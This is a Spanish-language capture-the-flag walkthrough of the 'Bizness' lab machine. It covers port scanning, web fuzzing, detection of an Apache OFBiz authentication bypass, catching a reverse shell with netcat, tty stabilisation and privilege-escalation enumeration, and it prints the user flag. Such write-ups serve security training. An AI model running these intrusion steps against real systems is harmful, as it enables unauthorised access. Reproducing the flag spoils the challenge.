Bizness
En primer lugar, vamos a enviar un paquete ICMP para ver si tenemos conectividad entre nuestra máquina y la máquina víctima.
❯ ping -c 1 10.10.11.252
PING 10.10.11.252 (10.10.11.252) 56(84) bytes of data.
64 bytes from 10.10.11.252: icmp_seq=1 ttl=63 time=111 ms
--- 10.10.11.252 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 111.295/111.295/111.295/0.000 ms
❯ whichSystem.py 10.10.11.252
10.10.11.252 (ttl -> 63): Linux
Responde y podemos ver que nos encontramos antes una máquina Linux, así que vamos a empezar a enumerar para ver que puertos están abiertos en el sistema.
❯ sudo nmap -p- --open -sS -min-rate 5000 -vvv -n -Pn 10.10.11.252 -oG allPorts
[sudo] password for oso:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-29 13:29 EDT
Initiating SYN Stealth Scan at 13:29
Scanning 10.10.11.252 [65535 ports]
Discovered open port 443/tcp on 10.10.11.252
Discovered open port 80/tcp on 10.10.11.252
Discovered open port 22/tcp on 10.10.11.252
Discovered open port 32995/tcp on 10.10.11.252
Completed SYN Stealth Scan at 13:29, 14.93s elapsed (65535 total ports)
Nmap scan report for 10.10.11.252
Host is up, received user-set (0.11s latency).
Scanned at 2024-05-29 13:29:32 EDT for 15s
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
32995/tcp open unknown syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.09 seconds
Raw packets sent: 73521 (3.235MB) | Rcvd: 72952 (2.918MB)
❯ extractPorts allPorts
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.11.252
5 │ [*] Open ports: 22,80,443,32995
6 │
7 │ [*] Ports copied to clipboard
Ahora voy a lanzar un escaneo exhaustivo para identificar los servicios y las versiones a las que nos enfrentamos.
❯ nmap -sCV -p22,80,443,32995 10.10.11.252 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-29 13:37 EDT
Nmap scan report for bizness.htb (10.10.11.252)
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp open ssl/http nginx 1.18.0
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
|_http-title: BizNess Incorporated
|_http-server-header: nginx/1.18.0
32995/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.45 seconds
Podemos ver que se trata de un OpenSSH 8.4p1 Debian 5+deb11u3.
Voy a usar una herramienta de análisis web para identificar tecnologías usadas y descubrir info relevante.
❯ whatweb https://bizness.htb/
https://bizness.htb/ [200 OK] Bootstrap, Cookies[JSESSIONID], Country[RESERVED][ZZ], Email[info@bizness.htb], HTML5, HTTPServer[nginx/1.18.0], HttpOnly[JSESSIONID], IP[10.10.11.252], JQuery, Lightbox, Script, Title[BizNess Incorporated], nginx[1.18.0]
Similar a whatweb tenemos la extensión Wappalyzer
** Versiones de jQuery desactualizadas hacen que se pueda explotar vulns prototype pollution y XSS. **
El certificado SSL lo podemos analizar conectándolo a bizness.htb por el puerto 443 de la siguiente manera:
❯ openssl s_client -connect bizness.htb:443
Connecting to 10.10.11.252
CONNECTED(00000003)
depth=0 C=UK, ST=Some-State, O=Internet Widgits Pty Ltd
verify error:num=18:self-signed certificate
verify return:1
depth=0 C=UK, ST=Some-State, O=Internet Widgits Pty Ltd
verify return:1
---
Certificate chain
0 s:C=UK, ST=Some-State, O=Internet Widgits Pty Ltd
i:C=UK, ST=Some-State, O=Internet Widgits Pty Ltd
a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
v:NotBefore: Dec 14 20:03:40 2023 GMT; NotAfter: Nov 10 20:03:40 2328 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIDbTCCAlWgAwIBAgIUcNuUwJFmLYEqrKfOdzHtcHum2IwwDQYJKoZIhvcNAQEL
BQAwRTELMAkGA1UEBhMCVUsxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM
GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAgFw0yMzEyMTQyMDAzNDBaGA8yMzI4
MTExMDIwMDM0MFowRTELMAkGA1UEBhMCVUsxEzARBgNVBAgMClNvbWUtU3RhdGUx
ITAfBgNVBAoMGEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcN
AQEBBQADggEPADCCAQoCggEBAK4O2guKkSjwv8sruMD3DiDi1FoappVwDJ86afPZ
XUCwlhtZD/9gPeXuRIy66QKNSzv8H7cGfzEL8peDF9YhmwvYc+IESuemPscZSlbr
tSdWXVjn4kMRlah/2PnnWZ/Rc7I237V36lbsavjkY6SgBK8EPU3mAdHNdIBqB+XH
ME/G3uP/Ut0tuhU1AAd7jiDktv8+c82EQx21/RPhuuZv7HA3pYdtkUja64bSu/kG
7FOWPxKTvYxxcWdO02GRXs+VLce+q8tQ7hRqAQI5vwWU6Ht3K82oftVPMZfT4BAp
4P4vhXvvcyhrjgjzGPH4QdDmyFkL3B4ljJfZrbXo4jXqp4kCAwEAAaNTMFEwHQYD
VR0OBBYEFKXr9HwWqLMEFnr6keuCa8Fm7JOpMB8GA1UdIwQYMBaAFKXr9HwWqLME
Fnr6keuCa8Fm7JOpMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEB
AFruPmKZwggy7XRwDF6EJTnNe9wAC7SZrTPC1gAaNZ+3BI5RzUaOkElU0f+YBIci
lSvcZde+dw+5aidyo5L9j3d8HAFqa/DP+xAF8Jya0LB2rIg/dSoFt0szla1jQ+Ff
6zMNMNseYhCFjHdxfroGhUwYWXEpc7kT7hL9zYy5Gbmd37oLYZAFQv+HNfjHnE+2
/gTR+RwkAf81U3b7Czl39VJhMu3eRkI3Kq8LiZYoFXr99A4oefKg1xiN3vKEtou/
c1zAVUdnau5FQSAbwjDg0XqRrs1otS0YQhyMw/3D8X+f/vPDN9rFG8l9Q5wZLmCa
zj1Tly1wsPCYAq9u570e22U=
-----END CERTIFICATE-----
subject=C=UK, ST=Some-State, O=Internet Widgits Pty Ltd
issuer=C=UK, ST=Some-State, O=Internet Widgits Pty Ltd
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1441 bytes and written 538 bytes
Verification error: self-signed certificate
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
This TLS version forbids renegotiation.
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 18 (self-signed certificate)
---
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Session-ID: 3AA857967EF1CF203A428EE1FC03E240BD9BF36C96AB4E16AEC6B4C8371A235C
Session-ID-ctx:
Resumption PSK: A1E3C2365CFD07CA51EF6F5B7202BF9DFAFEB632EF129043D0AF868242C46664AAAFA60E848698FDEFEA918BC202ADF8
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 300 (seconds)
TLS session ticket:
0000 - a4 6c 0d 0a 6b 8b e5 9d-9b 7c 31 d4 67 c9 7b 2a .l..k....|1.g.{*
0010 - 27 50 92 e9 b8 cf 67 df-d9 53 b1 b2 b8 12 f0 49 'P....g..S.....I
0020 - 31 8d 70 bb 22 12 d8 68-d0 0a a5 6c bd 19 b8 bb 1.p."..h...l....
0030 - eb 4e 1c 82 6d 95 ba f6-8e 8b e6 17 58 6c 97 4c .N..m.......Xl.L
0040 - 3c ec a1 98 2f 68 e6 25-08 d7 d3 2d 3a 20 70 79 <.../h.%...-: py
0050 - 09 09 59 8f af 80 5a bc-c2 b7 90 52 e9 61 ec 01 ..Y...Z....R.a..
0060 - ef 0f 1d 58 41 16 ca 90-f2 1f 26 ad 8c 0c 5e 48 ...XA.....&...^H
0070 - 4e 45 0a 48 6d 1c 69 43-1d 55 db 0b 85 53 b3 4f NE.Hm.iC.U...S.O
0080 - d4 0a 49 ea e7 5b 80 ee-ad 3e 65 38 1c 4d 3c 05 ..I..[...>e8.M<.
0090 - fa 0f 41 ac 7c 8b d9 5a-5c 37 3f 16 9e 7d 1e db ..A.|..Z\7?..}..
00a0 - 80 06 5b 1c c0 90 89 3f-3d 32 d5 34 3c d0 05 8e ..[....?=2.4<...
00b0 - 4a ed 72 44 1d 61 dc a2-91 23 94 d8 34 5a c9 32 J.rD.a...#..4Z.2
00c0 - cc 98 1f 96 c6 23 19 2b-74 87 9b 5b 27 d2 20 9a .....#.+t..['. .
00d0 - 1d c1 5c 5c 52 26 67 cc-5b 32 33 5d 89 9a 76 0d ..\\R&g.[23]..v.
00e0 - 87 8e f3 8a d9 8c bd 34-74 25 5b 32 62 a0 4d 8c .......4t%[2b.M.
Start Time: 1717004826
Timeout : 7200 (sec)
Verify return code: 18 (self-signed certificate)
Extended master secret: no
Max Early Data: 0
---
read R BLOCK
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Session-ID: E090C83DE3EB71696AD0D6C64E5223BF584DE25DDF6039E9338D66A614DC32C0
Session-ID-ctx:
Resumption PSK: CC6A97D73426CB7BE7F6A74B59F4B6742D6C9556B79E86391AFA57FCC9419716CE35074A643C5BAB98FA2EBC9F6C6FA9
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 300 (seconds)
TLS session ticket:
0000 - a4 6c 0d 0a 6b 8b e5 9d-9b 7c 31 d4 67 c9 7b 2a .l..k....|1.g.{*
0010 - 73 fc 7b 30 2b da 0d dd-ca ba 0c 1f b3 6b 6e d4 s.{0+........kn.
0020 - 3b ed 41 0f c9 2e fa af-0d ac 01 48 6d 59 a5 93 ;.A........HmY..
0030 - e5 7b f7 77 29 d8 9b 88-4d af bb d8 06 5e b0 47 .{.w)...M....^.G
0040 - 4c a6 fb f3 32 58 d0 da-1f 5d 88 d9 ac ba 68 06 L...2X...]....h.
0050 - 8a 09 60 f9 08 35 b9 34-10 90 e4 e2 6a 4e a5 d7 ..`..5.4....jN..
0060 - 9d e3 3c c3 11 d8 ea 1f-c9 e3 77 53 ea 80 fe 91 ..<.......wS....
0070 - e1 3a c7 24 82 30 22 b3-a2 7b 24 c1 90 02 c1 94 .:.$.0"..{$.....
0080 - 35 16 43 8a e4 1e 92 cb-aa 89 ed e0 15 71 e9 9a 5.C..........q..
0090 - 96 c8 80 69 1f 2b 75 9a-63 ee e6 9e af 9c 55 89 ...i.+u.c.....U.
00a0 - 78 4f 3e b2 a9 32 8a 70-e8 10 94 bd 93 8e 86 64 xO>..2.p.......d
00b0 - 45 69 de 50 ab db 48 6e-de f9 8e d2 7d af ee 13 Ei.P..Hn....}...
00c0 - e4 df cc 08 29 a5 c0 38-3a 4a 8c 4d 80 dd fa 63 ....)..8:J.M...c
00d0 - f0 f0 97 9f 17 3f 5a 31-4e 5f 71 fe d6 88 87 e0 .....?Z1N_q.....
00e0 - b6 1e c3 83 f9 22 d6 84-62 5f 02 de c8 2a e6 3a ....."..b_...*.:
Start Time: 1717004826
Timeout : 7200 (sec)
Verify return code: 18 (self-signed certificate)
Extended master secret: no
Max Early Data: 0
---
read R BLOCK
Si observamos el final de la página, vemos que pone Powered by APache OFbiz
Vamos a fuzzear directorios con wfuzz para tratar de encontrar directorios ocultos. Voy a usar SecLists, que son listas que incluyen usernames, passwords, URLs, sensitive data, patterns, fuzzing payloads, web shells…
❯ wfuzz -c --hc=404,302 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt https://bizness.htb/FUZZ
Ahora si hacemos lo mismo para el directorio “control” que hemos encontrado, sacamos un login
❯ wfuzz -c --hc=404,302 --hw=1596 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt https://bizness.htb/control/FUZZ
Voy a clonar el siguiente repo Apache-OFBiz-Authentication-Bypass y voy a comprobar si es vulnerable.
❯ python3 xdetection.py --url https://bizness.htb/
[+] Scanning started...
[+] Apache OFBiz instance seems to be vulnerable.
Vamos a explotarlo. Voy a probar a ponerme a capturar el trafico icmp de la interfaz 0 y voy a probar a mandar una traza a ver si la recibimos.
Como podemos ver llegamos a ejecutar un comando porque si lo recibimos. Vamos a enviarnos una bash por el puerto 443
Vamos a hacer un tratamiento de la tty. Como siempre escribimos lo siguiente:
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.222] from (UNKNOWN) [10.10.11.252] 58810
script /dev/null -c bash
Script started, output log file is '/dev/null'.
ofbiz@bizness:/opt/ofbiz$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[2] - continued nc -nlvp 443
reset xterm
Ahora ya podemos hacer Cntrl + C sin que se salga de la temrinal. Si queremos que funcione el Ctrl + l hacemos lo siguiente:
ofbiz@bizness:/opt/ofbiz$ export TERM=xterm
Y lo unico que faltaria son las dimensiones del nano.
ofbiz@bizness:/opt/ofbiz$ stty size
24 80
ofbiz@bizness:/opt/ofbiz$ stty rows 44 columns 184
ofbiz@bizness:/opt/ofbiz$ stty size
44 184
Y ya habremos completado el tratamiento de la tty.
---------------------------
ofbiz@bizness:/opt/ofbiz$ pwd
/opt/ofbiz
ofbiz@bizness:/opt/ofbiz$ cd /home
ofbiz@bizness:/home$ ls
ofbiz
ofbiz@bizness:/home$ cd ofbiz/
ofbiz@bizness:~$ ls
user.txt
ofbiz@bizness:~$ cat user.txt
bd81fb57590b1e511d008f79b49c0ff8
ofbiz@bizness:~$
Intento listar los privilegios sudo del usuario pero me pide una pass
ofbiz@bizness:~$ sudo -l
[sudo] password for ofbiz:
Sorry, try again.
[sudo] password for ofbiz:
Ahora voy a sacar la info sobre la distro del SO
ofbiz@bizness:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 11 (bullseye)
Release: 11
Codename: bullseye
También podemos mostrar el so y el kernel de Linux que se está ejecutando.
ofbiz@bizness:~$ uname -a
Linux bizness 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64 GNU/Linux
Linux: Indica que el sistema operativo es Linux. || bizness: El nombre del host de la máquina (en este caso, bizness). || 5.10.0-28-amd64: La versión del kernel de Linux.
Voy a buscar desde la raíz(/)del sistema con privilegios suid para ver si hay algun binario con permisos de suid y que ese usuario sea root y se pueda explotar
fbiz@bizness:~$ find / -perm -4000 2>/dev/null
/usr/bin/mount
/usr/bin/su
/usr/bin/fusermount
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/umount
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
Para verificar que son propiedad de root se puede hacer
ofbiz@bizness:~$ ls -l /usr/bin/mount /usr/bin/su /usr/bin/fusermount /usr/bin/sudo /usr/bin/newgrp /usr/bin/chsh /usr/bin/passwd /usr/bin/gpasswd /usr/bin/chfn /usr/bin/umount /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn
-rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 34896 Feb 26 2021 /usr/bin/fusermount
-rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 55528 Jan 20 2022 /usr/bin/mount
-rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp
-rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
-rwsr-xr-x 1 root root 71912 Jan 20 2022 /usr/bin/su
-rwsr-xr-x 1 root root 182600 Jan 14 2023 /usr/bin/sudo
-rwsr-xr-x 1 root root 35040 Jan 20 2022 /usr/bin/umount
-rwsr-xr-- 1 root messagebus 51336 Jun 6 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 481608 Dec 21 11:09 /usr/lib/openssh/ssh-keysign
Pero no se ve ningun potencial. Voy a buscar recursivamente (r) en el dir actual y sus correspondientes subdirectorios los archivos que contengan password , que sea case-insensitive sin distinguir entre mayúsculas y minúsculas(i) y a listas los nombres de dichos archivos (l)
ofbiz@bizness:/opt/ofbiz$ grep -ril "password"
applications/accounting/data/helpdata/HELP_ACCOUNTING_EditPaymentGatewayConfig.xml
applications/accounting/config/AccountingUiLabels.xml
applications/accounting/config/payment.properties
applications/accounting/config/paymentTest.properties
applications/accounting/src/main/java/org/apache/ofbiz/accounting/thirdparty/authorizedotnet/AIMPaymentServices.java
applications/accounting/src/main/java/org/apache/ofbiz/accounting/thirdparty/eway/EwayServices.java
applications/accounting/src/main/java/org/apache/ofbiz/accounting/thirdparty/eway/GatewayRequest.java
applications/accounting/src/main/java/org/apache/ofbiz/accounting/thirdparty/orbital/OrbitalPaymentServices.java
applications/accounting/src/main/java/org/apache/ofbiz/accounting/thirdparty/verisign/PayflowPro.java
applications/accounting/src/main/java/org/apache/ofbiz/accounting/thirdparty/clearcommerce/CCPaymentServices.java
applications/accounting/src/main/java/org/apache/ofbiz/accounting/thirdparty/paypal/PayPalServices.java
applications/order/minilang/customer/CustomerEvents.xml
applications/marketing/testdef/CommEventCreateOpportunity_testsuite.xml
applications/workeffort/config/WorkEffortUiLabels.xml
applications/content/template/survey/ViewSurveyResponses.ftl
applications/content/template/survey/GenericSurvey.ftl
applications/content/config/ContentEntityLabels.xml
applications/content/src/main/java/org/apache/ofbiz/content/ftp/FtpServices.java
applications/content/src/main/java/org/apache/ofbiz/content/ftp/SimpleFtpClient.java
applications/content/src/main/java/org/apache/ofbiz/content/ftp/SshFtpClient.java
applications/content/src/main/java/org/apache/ofbiz/content/ftp/FtpClientInterface.java
applications/content/src/main/java/org/apache/ofbiz/content/ftp/SecureFtpClient.java
applications/content/minilang/survey/SurveyServices.xml
applications/product/data/ApiSchemaDhl.xml
applications/product/config/ProductEntityLabels.xml
applications/product/config/shipment.properties
applications/product/config/ProductUiLabels.xml
applications/product/src/main/java/org/apache/ofbiz/shipment/thirdparty/ups/UpsServices.java
applications/product/src/main/java/org/apache/ofbiz/shipment/thirdparty/dhl/DhlServices.java
applications/product/src/main/java/org/apache/ofbiz/shipment/thirdparty/usps/UspsServices.java
applications/product/src/main/java/org/apache/ofbiz/product/store/ProductStoreWorker.java
applications/product/widget/catalog/StoreForms.xml
applications/product/widget/facility/ShipmentGatewayConfigForms.xml
applications/datamodel/data/demo/WorkEffortDemoData.xml
applications/datamodel/data/demo/HumanresDemoData.xml
applications/datamodel/data/demo/MarketingDemoData.xml
applications/datamodel/data/demo/PartyDemoData.xml
applications/datamodel/data/demo/ProductDemoData.xml
applications/datamodel/data/demo/OrderDemoData.xml
applications/datamodel/data/demo/SecurityExtDemoData.xml
applications/datamodel/data/demo/ContentDemoData.xml
applications/datamodel/data/demo/AccountingDemoData.xml
applications/datamodel/data/seed/ContentSeedData.xml
applications/datamodel/data/seed/ProductSeedData.xml
applications/datamodel/entitydef/product-entitymodel.xml
applications/datamodel/entitydef/shipment-entitymodel.xml
applications/datamodel/entitydef/party-entitymodel.xml
applications/datamodel/entitydef/accounting-entitymodel.xml
applications/party/template/party/EditContactMech.ftl
applications/party/template/party/profileblocks/Contact.ftl
applications/party/webapp/partymgr/WEB-INF/controller.xml
applications/party/config/PartyUiLabels.xml
applications/party/widget/partymgr/PartyScreens.xml
applications/party/widget/partymgr/PartyForms.xml
applications/party/servicedef/secas.xml
applications/party/servicedef/services.xml
applications/party/minilang/customer/CustomerEvents.xml
applications/party/minilang/user/UserEvents.xml
applications/party/minilang/test/PartyTests.xml
applications/party/testdef/data/PartyContactMechTestData.xml
applications/securityext/template/email/PasswordEmail.ftl
applications/securityext/config/EmailPasswordUiLabels.xml
applications/securityext/src/main/java/org/apache/ofbiz/securityext/login/LoginEvents.java
applications/securityext/widget/EmailSecurityScreens.xml
applications/securityext/minilang/login/LoginSimpleEvents.xml
applications/securityext/minilang/login/LoginMapProcs.xml
applications/commonext/data/helpdata/HELP_SETUP.xml
applications/commonext/data/helpdata/HELP_SystemInfoNotes.xml
applications/commonext/widget/ofbizsetup/SetupForms.xml
applications/commonext/minilang/setup/SetupEvents.xml
runtime/data/derby/ofbiz/seg0/c6010.dat
runtime/data/derby/ofbiz/seg0/c6850.dat
runtime/data/derby/ofbiz/seg0/c5fa1.dat
runtime/data/derby/ofbiz/seg0/c180.dat
runtime/data/derby/ofbiz/seg0/c54d0.dat
runtime/data/derby/ofbiz/seg0/ca1.dat
runtime/data/derby/ofbiz/seg0/c6021.dat
runtime/data/derby/ofbiz/seg0/c60.dat
runtime/data/derby/ofbiz/seg0/c5f90.dat
runtime/data/derby/ofbiz/seg0/c191.dat
runtime/data/derby/ofbiz/seg0/c90.dat
runtime/data/derby/ofbiz/seg0/c71.dat
runtime/data/derby/ofbiz/seg0/c1930.dat
runtime/data/derby/ofbiz/seg0/c1c70.dat
runtime/data/derby/ofbiz/log/log37.dat
runtime/data/derby/ofbizolap/seg0/c180.dat
runtime/data/derby/ofbizolap/seg0/ca1.dat
runtime/data/derby/ofbizolap/seg0/c191.dat
runtime/data/derby/ofbizolap/seg0/c90.dat
runtime/data/derby/ofbiztenant/seg0/c180.dat
runtime/data/derby/ofbiztenant/seg0/ca1.dat
runtime/data/derby/ofbiztenant/seg0/c191.dat
runtime/data/derby/ofbiztenant/seg0/c90.dat
runtime/data/derby/ofbiztenant/log/log1.dat
runtime/logs/error.log
runtime/logs/access_log..2023-12-20
runtime/logs/ofbiz.log
runtime/logs/ofbiz-2023-12-16-1.log
runtime/logs/ofbiz-2023-12-16-2.log
runtime/logs/access_log..2024-05-30
runtime/logs/access_log..2023-12-16
runtime/tmp/README.adoc
framework/webapp/config/fop.properties
framework/webapp/src/main/java/org/apache/ofbiz/webapp/event/XmlRpcEventHandler.java
framework/webapp/src/main/java/org/apache/ofbiz/webapp/webdav/WebDavUtil.java
framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ExternalLoginKeysManager.java
framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java
framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/JWTManager.java
framework/webapp/src/main/java/org/apache/ofbiz/webapp/view/ApacheFopWorker.java
framework/webapp/dtd/site-conf.xsd
framework/entity/config/entityengine.xml
framework/entity/src/main/java/org/apache/ofbiz/entity/datasource/GenericHelperInfo.java
framework/entity/src/main/java/org/apache/ofbiz/entity/GenericDelegator.java
framework/entity/src/main/java/org/apache/ofbiz/entity/config/model/EntityConfig.java
framework/entity/src/main/java/org/apache/ofbiz/entity/config/model/InlineJdbc.java
framework/entity/src/main/java/org/apache/ofbiz/entity/model/ModelEntityChecker.java
framework/entity/src/main/java/org/apache/ofbiz/entity/connection/DBCPConnectionFactory.java
framework/entity/src/main/java/org/apache/ofbiz/entity/jdbc/DatabaseUtil.java
framework/entity/dtd/entity-config.xsd
framework/entity/entitydef/entitymodel.xml
framework/widget/src/main/java/org/apache/ofbiz/widget/renderer/FormStringRenderer.java
framework/widget/src/main/java/org/apache/ofbiz/widget/renderer/macro/MacroFormRenderer.java
framework/widget/src/main/java/org/apache/ofbiz/widget/renderer/fo/FoFormRenderer.java
framework/widget/src/main/java/org/apache/ofbiz/widget/renderer/fo/ScreenFopViewHandler.java
framework/widget/src/main/java/org/apache/ofbiz/widget/model/ModelFormField.java
framework/widget/src/main/java/org/apache/ofbiz/widget/model/XmlWidgetFieldVisitor.java
framework/widget/src/main/java/org/apache/ofbiz/widget/model/FieldInfo.java
framework/widget/src/main/java/org/apache/ofbiz/widget/model/ModelFieldVisitor.java
framework/widget/src/main/java/org/apache/ofbiz/widget/model/ModelScreen.java
framework/widget/src/main/java/org/apache/ofbiz/widget/model/ModelFormFieldBuilder.java
framework/widget/src/main/java/org/apache/ofbiz/widget/artifact/ArtifactInfoGatherer.java
framework/widget/src/main/java/org/apache/ofbiz/widget/test/WidgetMacroLibraryTests.java
framework/widget/dtd/widget-form.xsd
framework/documents/SingleSignOn.xml
framework/service/ofbiz-component.xml
framework/service/config/serviceengine.xml
framework/service/config/axis2/conf/axis2.xml
framework/service/src/main/java/org/apache/ofbiz/service/ServiceDispatcher.java
framework/service/src/main/java/org/apache/ofbiz/service/engine/XMLRPCClientEngine.java
framework/service/src/main/java/org/apache/ofbiz/service/config/model/Server.java
framework/service/src/main/java/org/apache/ofbiz/service/mail/JavaMailContainer.java
framework/service/src/main/java/org/apache/ofbiz/service/ModelServiceReader.java
framework/service/src/main/java/org/apache/ofbiz/service/xmlrpc/AliasSupportedTransportFactory.java
framework/service/src/main/java/org/apache/ofbiz/service/xmlrpc/XmlRpcClient.java
framework/service/src/main/java/org/apache/ofbiz/service/ModelService.java
framework/service/src/main/java/org/apache/ofbiz/service/rmi/socket/ssl/SSLServerSocketFactory.java
framework/service/src/main/java/org/apache/ofbiz/service/jms/JmsQueueListener.java
framework/service/src/main/java/org/apache/ofbiz/service/jms/JmsListenerFactory.java
framework/service/src/main/java/org/apache/ofbiz/service/jms/JmsTopicListener.java
framework/service/src/main/java/org/apache/ofbiz/service/jms/JmsServiceEngine.java
framework/service/src/main/java/org/apache/ofbiz/service/test/AbstractXmlRpcTestCase.java
framework/service/src/main/java/org/apache/ofbiz/service/test/XmlRpcTests.java
framework/service/dtd/service-config.xsd
framework/service/servicedef/services.xml
framework/catalina/src/main/java/org/apache/ofbiz/catalina/container/OFBizRealm.java
framework/catalina/src/main/java/org/apache/ofbiz/catalina/container/CatalinaContainer.java
framework/catalina/src/main/java/org/apache/ofbiz/catalina/container/SimpleCredentialHandler.java
framework/catalina/src/main/java/org/apache/ofbiz/catalina/container/HashedCredentialHandler.java
framework/base/config/jsse.properties
framework/base/config/README
framework/base/config/passwords.properties
framework/base/config/jndi.properties
framework/base/src/main/java/org/apache/ofbiz/base/crypto/HashCrypt.java
framework/base/src/main/java/org/apache/ofbiz/base/util/HttpClient.java
framework/base/src/main/java/org/apache/ofbiz/base/util/UtilHttp.java
framework/base/src/main/java/org/apache/ofbiz/base/util/KeyStoreUtil.java
framework/base/src/main/java/org/apache/ofbiz/base/util/SSLUtil.java
framework/base/src/main/java/org/apache/ofbiz/base/util/FileUtil.java
framework/base/src/main/java/org/apache/ofbiz/base/component/ComponentConfig.java
framework/base/dtd/ofbiz-component.xsd
framework/resources/templates/AdminUserLoginData.xml
framework/resources/templates/AdminNewTenantData-PostgreSQL.xml
framework/resources/templates/AdminNewTenantData-Oracle.xml
framework/resources/templates/AdminNewTenantData-Derby.xml
framework/resources/templates/AdminNewTenantData-MySQL.xml
framework/common/data/CommonSystemPropertyData.xml
framework/common/data/CommonTypeData.xml
framework/common/config/SecurityUiLabels.xml
framework/common/config/general.properties
framework/common/config/CommonUiLabels.xml
framework/common/config/ftp.properties
framework/common/config/CommonEntityLabels.xml
framework/common/config/SecurityextUiLabels.xml
framework/common/src/main/java/org/apache/ofbiz/common/FtpServices.java
framework/common/src/main/java/org/apache/ofbiz/common/authentication/example/TestFailAuthenticator.java
framework/common/src/main/java/org/apache/ofbiz/common/authentication/example/TestPassAuthenticator.java
framework/common/src/main/java/org/apache/ofbiz/common/authentication/api/Authenticator.java
framework/common/src/main/java/org/apache/ofbiz/common/authentication/AuthHelper.java
framework/common/src/main/java/org/apache/ofbiz/common/email/EmailServices.java
framework/common/src/main/java/org/apache/ofbiz/common/login/LoginServices.java
framework/common/src/main/java/org/apache/ofbiz/common/login/LdapAuthenticationServices.java
framework/common/widget/CommonScreens.xml
framework/common/widget/SecurityScreens.xml
framework/common/widget/SecurityForms.xml
framework/common/servicedef/services_email.xml
framework/common/servicedef/services.xml
framework/common/documents/SendingEmail.xml
framework/common/webcommon/WEB-INF/common-controller.xml
framework/common/webcommon/WEB-INF/security-controller.xml
framework/common/minilang/test/UserLoginTests.xml
framework/datafile/dtd/datafiles.xsd
framework/webtools/config/WebtoolsUiLabels.xml
framework/security/ofbiz-component.xml
framework/security/data/PasswordSecurityDemoData.xml
framework/security/config/security.properties
framework/security/config/jndiLdap.properties
framework/security/src/main/java/org/apache/ofbiz/security/SecurityUtil.java
framework/security/src/docs/asciidoc/_include/sy-impersonation.adoc
